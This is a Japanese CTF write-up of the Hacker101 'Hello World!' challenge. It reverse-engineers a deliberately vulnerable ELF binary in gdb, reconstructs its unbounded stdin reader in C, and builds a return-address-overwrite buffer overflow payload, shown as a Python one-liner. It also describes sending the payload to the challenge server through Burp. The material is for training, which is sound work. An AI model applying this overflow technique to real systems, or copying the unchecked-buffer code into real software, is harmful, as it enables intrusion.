【Hacker101 CTF】 Hello World!解説 ELFファイル(x86-64)の解析

【注意】本記事にはHacker101 CTF “Hello World!”の解答に係る要素が多分に含まれています。当該CTFを独力で解きたい方は、後ほど参照することをお勧めします。
Hacker101はセキュリティに関する無料のコースを提供しているサイトであり、バグバウンティのプラットフォームであるHackerOneにより運営されています。Hacker101 CTFはHacker101で提供されているコンテンツの一つです。本記事ではHacker101 CTFで出題されているネイティブコードに関するCTF”Hello World!”を解説します。

“Hello World!”のバイナリの解析

まずは”Hello World!”のCTFページからバイナリをダウンロードします。ページ左上の”Download binary”リンクをクリックするとvulnerableという名前のELFファイルをダウンロードできます。

まずはダウンロードしたファイルvulnerableをfileコマンドを使って調べてみます。出力は以下の通りです。

$ file vulnerable 
vulnerable: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=ea1000564e33f4ad1901ebfe81bfc1fb3ea38fa2, not stripped

vulnerableはx86-64のELFバイナリであり、シンボル情報が取り除かれずに残っています。シンボルであたりをつけて調べていけば、比較的容易に解析できそうです。ここからはgdbを使ってvulnerableの中身を確認していきます。

$ gdb ./vulnerable
...
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x0000000000400520  _init
0x0000000000400550  getenv@plt
0x0000000000400560  puts@plt
0x0000000000400570  printf@plt
0x0000000000400580  memset@plt
0x0000000000400590  fgetc@plt
0x00000000004005a0  exit@plt
0x00000000004005b0  _start
0x00000000004005e0  deregister_tm_clones
0x0000000000400620  register_tm_clones
0x0000000000400660  __do_global_dtors_aux
0x0000000000400680  frame_dummy
0x00000000004006a6  read_all_stdin
0x00000000004006ee  print_flags
0x0000000000400710  main
0x0000000000400780  __libc_csu_init
0x00000000004007f0  __libc_csu_fini
0x00000000004007f4  _fini

バイナリ内の関数を調べてみると、read_all_stdin、print_flags、mainの3つの関数が目につきます。print_flagsが意味深ですが、まずは順当にmainから内容を確認します。以下はmainを逆アセンブルしたコードです。記述はIntel SyntaxではなくAT&T Syntaxです。

(gdb) disassemble main
Dump of assembler code for function main:
   0x0000000000400710 <+0>:     push   %rbp
   0x0000000000400711 <+1>:     mov    %rsp,%rbp
   0x0000000000400714 <+4>:     sub    $0x20,%rsp
   0x0000000000400718 <+8>:     lea    -0x20(%rbp),%rax
   0x000000000040071c <+12>:    mov    $0x20,%edx
   0x0000000000400721 <+17>:    mov    $0x0,%esi
   0x0000000000400726 <+22>:    mov    %rax,%rdi
   0x0000000000400729 <+25>:    callq  0x400580 <memset@plt>
   0x000000000040072e <+30>:    lea    -0x20(%rbp),%rax
   0x0000000000400732 <+34>:    mov    %rax,%rdi
   0x0000000000400735 <+37>:    callq  0x4006a6 <read_all_stdin>
   0x000000000040073a <+42>:    lea    -0x20(%rbp),%rax
   0x000000000040073e <+46>:    movzbl (%rax),%eax
   0x0000000000400741 <+49>:    test   %al,%al
   0x0000000000400743 <+51>:    jne    0x400753 <main+67>
   0x0000000000400745 <+53>:    lea    0xbe(%rip),%rdi        # 0x40080a
   0x000000000040074c <+60>:    callq  0x400560 <puts@plt>
   0x0000000000400751 <+65>:    jmp    0x40076b <main+91>
   0x0000000000400753 <+67>:    lea    -0x20(%rbp),%rax
   0x0000000000400757 <+71>:    mov    %rax,%rsi
   0x000000000040075a <+74>:    lea    0xbc(%rip),%rdi        # 0x40081d
   0x0000000000400761 <+81>:    mov    $0x0,%eax
   0x0000000000400766 <+86>:    callq  0x400570 <printf@plt>
   0x000000000040076b <+91>:    mov    $0x0,%eax
   0x0000000000400770 <+96>:    leaveq 
   0x0000000000400771 <+97>:    retq   
End of assembler dump.
+-------------------------------------------------- <- 0x0000000000000000
| ...
+-------------------------------------------------- <- %rsp
| mainのローカル変数(32バイト)
+-------------------------------------------------- <- %rbp
| main前のフレームポインタ(8バイト)
+--------------------------------------------------
| main前のフレームへのリターンアドレス(8バイト)
+--------------------------------------------------
| ...
+-------------------------------------------------- <- 0x00007FFFFFFFFFFF

・0x0000000000400718時点のコールスタック

0x0000000000400710〜0x0000000000400714でスタックが操作され、0x0000000000400718時点でのスタックの状況は上記のようになります。0x0000000000400718〜0x0000000000400729にかけては、memset関数を呼び出しています。memsetはC標準ライブラリの関数であり、引数にポインタstrと文字cと符号なし整数nをとり、strからstr+nの範囲にcを書き込みます。今回はstr=%rsp、c=0、n=32のため、ヌル文字をローカル変数の範囲いっぱいに書き込んでいます。続く0x000000000040072e〜0x0000000000400735では、rdiレジスタにローカル変数の先頭アドレスにあたる-0x20(%rbp)がコピーされた後、read_all_stdinが呼び出されます。read_all_stdinが登場したので、一旦mainを離れてread_all_stdinの内容を確認してみます。

(gdb) disassemble read_all_stdin 
Dump of assembler code for function read_all_stdin:
   0x00000000004006a6 <+0>:     push   %rbp
   0x00000000004006a7 <+1>:     mov    %rsp,%rbp
   0x00000000004006aa <+4>:     sub    $0x20,%rsp
   0x00000000004006ae <+8>:     mov    %rdi,-0x18(%rbp)
   0x00000000004006b2 <+12>:    movl   $0x0,-0x4(%rbp)
   0x00000000004006b9 <+19>:    jmp    0x4006d3 <read_all_stdin+45>
   0x00000000004006bb <+21>:    mov    -0x4(%rbp),%eax
   0x00000000004006be <+24>:    lea    0x1(%rax),%edx
   0x00000000004006c1 <+27>:    mov    %edx,-0x4(%rbp)
   0x00000000004006c4 <+30>:    movslq %eax,%rdx
   0x00000000004006c7 <+33>:    mov    -0x18(%rbp),%rax
   0x00000000004006cb <+37>:    add    %rdx,%rax
   0x00000000004006ce <+40>:    mov    -0x8(%rbp),%edx
   0x00000000004006d1 <+43>:    mov    %dl,(%rax)
   0x00000000004006d3 <+45>:    mov    0x200986(%rip),%rax        # 0x601060 <stdin@@GLIBC_2.2.5>
   0x00000000004006da <+52>:    mov    %rax,%rdi
   0x00000000004006dd <+55>:    callq  0x400590 <fgetc@plt>
   0x00000000004006e2 <+60>:    mov    %eax,-0x8(%rbp)
   0x00000000004006e5 <+63>:    cmpl   $0xffffffff,-0x8(%rbp)
   0x00000000004006e9 <+67>:    jne    0x4006bb <read_all_stdin+21>
   0x00000000004006eb <+69>:    nop
   0x00000000004006ec <+70>:    leaveq 
   0x00000000004006ed <+71>:    retq   
End of assembler dump.
+-------------------------------------------------- <- 0x0000000000000000
| ...
+-------------------------------------------------- <- %rsp
| read_all_stdinのローカル変数(32バイト)
+-------------------------------------------------- <- %rbp
| mainのフレームポインタ(8バイト)
+--------------------------------------------------
| mainへのリターンアドレス(8バイト)
+--------------------------------------------------
| mainのローカル変数(32バイト)
+--------------------------------------------------
| main前のフレームポインタ(8バイト)
+--------------------------------------------------
| main前のフレームへのリターンアドレス(8バイト)
+--------------------------------------------------
| ...
+-------------------------------------------------- <- 0x00007FFFFFFFFFFF

・0x00000000004006ae時点のコールスタック

0x00000000004006a6〜0x00000000004006aaでのスタック操作により、0x00000000004006ae時点におけるスタックの状況は上記のようになります。その後、0x00000000004006aeで-0x18(%rbp)へとrdiレジスタにコピーされているmainのローカル変数へのアドレスがコピーされ、0x00000000004006b2で-0x4(%rbp)に0x00000000がコピーされます。この時点でのreal_all_stdinのローカル変数は以下のようになります。

| ...
+-------------------------------------------------- <- -0x20(%rbp)
| -0x20(%rbp): ?? ?? ?? ??
| -0x1c(%rbp): ?? ?? ?? ??
| -0x18(%rbp): XX XX XX XX # mainのローカル変数のアドレス(下位4バイト)
| -0x14(%rbp): XX XX XX XX # mainのローカル変数のアドレス(上位4バイト)
| -0x10(%rbp): ?? ?? ?? ??
| -0x0c(%rbp): ?? ?? ?? ??
| -0x08(%rbp): ?? ?? ?? ??
| -0x04(%rbp): 00 00 00 00
+-------------------------------------------------- <- %rbp
| ...

・0x00000000004006b9時点でのread_all_stdinのローカル変数

次に、0x00000000004006b9から0x00000000004006d3へとジャンプし、stdin(標準入力)を示すアドレスがraxレジスタにコピーされます。raxレジスタの値はさらにrdiレジスタにコピーされ、fgetc関数が呼び出されます。fgetcは引数に与えられたFILE型のポインタから1文字読み込んだ結果を返す関数であり、ここではstdinから読み込んだ1文字がeaxレジスタにコピーされて返されます。eaxレジスタの値はローカル変数-0x8(%rbp)にコピーされた後、EOF(0xffffffff)かどうかがチェックされ、EOFでない場合は0x00000000004006bbにジャンプします。この時点でread_all_stdinのローカル変数は以下の通りです。なお、stdinとEOFは共にstdio.hで宣言されています。

| ...
+-------------------------------------------------- <- -0x20(%rbp)
| -0x20(%rbp): ?? ?? ?? ??
| -0x1c(%rbp): ?? ?? ?? ??
| -0x18(%rbp): XX XX XX XX # mainのローカル変数のアドレス(下位4バイト)
| -0x14(%rbp): XX XX XX XX # mainのローカル変数のアドレス(上位4バイト)
| -0x10(%rbp): ?? ?? ?? ??
| -0x0c(%rbp): ?? ?? ?? ??
| -0x08(%rbp): CC CC CC CC # stdinから読み込んだ文字(int)
| -0x04(%rbp): 00 00 00 00
+-------------------------------------------------- <- %rbp
| ...

・0x00000000004006e5時点でのread_all_stdinのローカル変数

ジャンプ先の0x00000000004006bb〜0x00000000004006c1では-0x04(%rbp)の値をインクリメントしています。-0x04(%rbp)の値(正確にはインクリメントされる前の値)は、-0x18(%rbp)にコピーされているmainのローカル変数の先頭アドレスから順にデータを書き込むためのインデックスとして利用されます。書き込まれるのは、stdinから読み込んだ文字がコピーされている-0x08(%rbp)の値です。0x00000000004006c4〜0x00000000004006d1でmainのローカル変数に-0x08(%rbp)が書き込まれます。後は、stdinからEOFが返されるまで延々書き込みが繰り返されます。

read_all_stdinでのポイントは、書き込むバッファのサイズ(すなわち、mainのローカル変数のサイズ)を考慮せずに、stdinがEOFを返さない限り文字を書き込み続ける処理になっていることです。mainのローカル変数のサイズは32バイトのため、stdinから33文字を読み込んだ段階でバッファオーバーフローが発生します。うまくシェルコードを読み込ませれば、mainからのリターンアドレスを書き換えられそうです。

ひとまず、read_all_stdinを抜けてmainの0x000000000040073aに戻ります。mainに処理が戻ることに伴い、不要なread_all_stdinに関するデータはスタックから削除されます。0x000000000040073a時点でのスタックの状況は以下の通りです。

+-------------------------------------------------- <- 0x0000000000000000
| ...
+-------------------------------------------------- <- %rsp
| mainのローカル変数(32バイト)
+-------------------------------------------------- <- %rbp
| main前のフレームポインタ(8バイト)
+--------------------------------------------------
| main前のフレームへのリターンアドレス(8バイト)
+--------------------------------------------------
| ...
+-------------------------------------------------- <- 0x00007FFFFFFFFFFF

・0x000000000040073a時点のコールスタック

0x00000000004006bb〜0x0000000000400743では、-0x20(%rbp)に保存されている値が0かどうかがチェックされます。-0x20(%rbp)から%rbpは先のmemsetの呼び出しによってあらかじめ0で初期化されており、その上でstdinの内容に応じてread_all_stdinにてデータが書き込まれます。したがって、0x20(%rbp)が0になるのはstdinから最初にEOFが読み込まれる場合のみです。この場合、0x0000000000400745〜0x0000000000400751でputs関数が呼び出された後、mainを抜けてプログラムが終了します。putsは引数に与えられたchar型のポインタが示す文字列を出力する関数です。与えられている文字列は以下の通りです。

(gdb) x/s 0x40080a
0x40080a:    "What is your name?"

stdinから最初にEOF以外が読み込まれた場合は、0x0000000000400743から0x0000000000400753にジャンプします。こちらの分岐ではprintf関数を呼び出した後プログラムが終了します。printfはフォーマット文字列を示すchar型のポインタと、フォーマット文字列の内容に応じた可変長の引数を持ち、これらの引数から組み立てられる文字列を出力します。printfに与えられているフォーマット文字列は以下の通りです。

(gdb) x/s 0x40081d
0x40081d:    "Hello %s!\n"

“Hello %s!\n”内の%sは、もう一つの引数である-0x20(%rbp)が示す文字列で置換されます。総括すると、このプログラムはstdinから最初にEOFが読み込まれた場合は”What is your name?”と表示して終了し、それ以外の場合、例えばstdinから”abcdef”と読み込んだ場合は、これを組み込んだ”Hello abcdef!\n”という文字列を表示して終了するプログラムです。実際に以下のようにプログラムを走らせると、そのように動作することが確認できます。

$ echo -n | ./vulnerable
What is your name?
$ echo -n abcdef | ./vulnerable 
Hello abcdef!

Cで再現したvulnerableのソースコード

前述の内容から、vulnerbleのソースコードを再現すると以下のようになります。あくまで表面的な動作を再現したものであり、恐らくビルド後のバイナリは同一ではありません。

#include <stdio.h>
#include <string.h>

void read_all_stdin(char* str) {
    int c;
    int i = 0;
    
    do {
        c = fgetc(stdin);
        if (feof(stdin)) {
            break;
        }
	
        str[i] = c;
        i++;
    } while(1);
}

int main(void) {
    char str[32];
    
    memset(str, '\0', 32);
    read_all_stdin(str);

    if (str[0] == '\0') {
        puts("What is your name?");
    } else {
        printf("Hello %s!\n", str);
    }
    
    return 0;
}

バッファオーバーフローを突くシェルコードの作成

先の解析により、read_all_stdinでバッファオーバーフローが起き得ることを確認しています。mainからのリターンアドレスをprint_flagsに向けて書き換えるシェルコードを作成していきますが、先にprint_flagsを調査してみます。

(gdb) disassemble print_flags
Dump of assembler code for function print_flags:
   0x00000000004006ee <+0>:    push   %rbp
   0x00000000004006ef <+1>:    mov    %rsp,%rbp
   0x00000000004006f2 <+4>:    lea    0x10b(%rip),%rdi        # 0x400804
   0x00000000004006f9 <+11>:    callq  0x400550 <getenv@plt>
   0x00000000004006fe <+16>:    mov    %rax,%rdi
   0x0000000000400701 <+19>:    callq  0x400560 <puts@plt>
   0x0000000000400706 <+24>:    mov    $0x0,%edi
   0x000000000040070b <+29>:    callq  0x4005a0 <exit@plt>
 End of assembler dump.

(gdb) x/s 0x400804
0x400804:    "FLAGS"

getenv関数は引数に与えられた文字列と一致する名前の環境変数を探す関数です。存在する場合はその値を文字列として返し、存在しない場合はNULLを返します。ここで引数に与えられているのは”FLAGS”という文字列です。その後、getenvが返した値をputsで出力し、exitで終了しています。

print_flagsの処理内容は分かったので、シェルコードを組み立てていきます。mainからのリターンアドレスを上書きするにあたり、スタックの状況を再度確認します。

+-------------------------------------------------- <- 0x0000000000000000
| ...
+-------------------------------------------------- <- %rsp
| mainのローカル変数(32バイト)
+-------------------------------------------------- <- %rbp
| main前のフレームポインタ(8バイト)
+--------------------------------------------------
| main前のフレームへのリターンアドレス(8バイト)
+--------------------------------------------------
| ...
+-------------------------------------------------- <- 0x00007FFFFFFFFFFF

・0x000000000040073a時点のコールスタック

read_all_stdinでデータが書き込まれるmainのローカル変数からリターンアドレスまでは48バイト(32+8+8)あるため、シェルコードの長さは48バイトです。先頭の40バイトは任意の値で、末尾の8バイトはprint_flagsの先頭アドレスを示す値で作成します。print_flagsのアドレス0x00000000004006eeと、バイトオーダーがリトルエンディアンであることから、末尾の8バイトはee06400000000000となります。

組み立てたシェルコードがうまく動作するかどうかテストします。バイナリでシェルコードの動作をテストする場合は、環境変数FLAGSをあらかじめ定義しておきます。FLAGSが定義されていない場合、print_flags内のputsにNULLが渡ることになり、プログラムが異常終了します。シェルコードの入力にはPythonを使っています。

$ export FLAGS="FlagFlag"
$ env | grep FLAGS
FLAGS=FlagFlag
$ python -c "import sys
sys.stdout.buffer.write(b'a' * 40 + b'\xee\x06\x40\x00\x00\x00\x00\x00')" | ./vulnerable
Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�@!
FlagFlag

想定通り環境変数FLAGSの値が出力されるのを確認できました。今度はBurpを使用してHacker101 CTFのページでシェルコードを入力します。Burpを起動して適当なプロジェクトを立ち上げ、InterceptをONにしておきます。その後、CTFページ内のフォームに適当に文字を入力して送信します。

Burpに移動し、送信されたHTTPリクエストの中身を書き換えます。書き換えるのはGETのフィールドです。先のバイナリでのテストと同様に、stdinパラメータの値をシェルコードで置き換えます。ASCII文字で入力できないシェルコード内のバイトは、パーセントエンコーディングを使って表現できます。

GETのフィールドを書き換え終わったらリクエストをサーバにForwardします。バイナリでのテストと同様に、サーバ側で定義されている環境変数FLAGSの値が画面に表示されます。

関連記事

他のHacker101 CTFの記事も併せてどうぞ。

参考書籍

「デバッガによるx86プログラム解析入門」は、初歩の初歩から平易に書かれている書籍なのでプログラム解析の入門に最適です。事前知識としてCでのプログラミング経験があると尚望ましいです。注意点としては、本書籍はx86を中心にWindowsのPEファイルの解析を扱った書籍であり、本記事で扱ったx86-64のELFファイルの解析には触れていません。解説に使用されているデバッガもOllyDbgというGUIデバッガであり、GDBには触れません。とはいっても、レジスタや命令といった基本の事柄はいずれの解析においても共通する知識が多いため、基礎固めには十分役立ちます。OllyDbgについても、Windows上でのみ動作するためLinuxでは使えませんが、Windowsで動作するゲームの解析等に非常に役立ちます。

“Practical Binary Analysis”は厚めの洋書です。Cでのプログラミング経験やx86の知識、Linux環境が前提の書籍ですが、バイナリ解析について初歩からモダンな解析手法まで詳しく書かれており、「デバッガによるx86プログラム解析入門」からより詳しく勉強したい人にうってつけです。

参考リンク

Share - この記事をシェアする

「【Hacker101 CTF】 Hello World!解説 ELFファイル(x86-64)の解析」への2件のフィードバック

コメントは受け付けていません。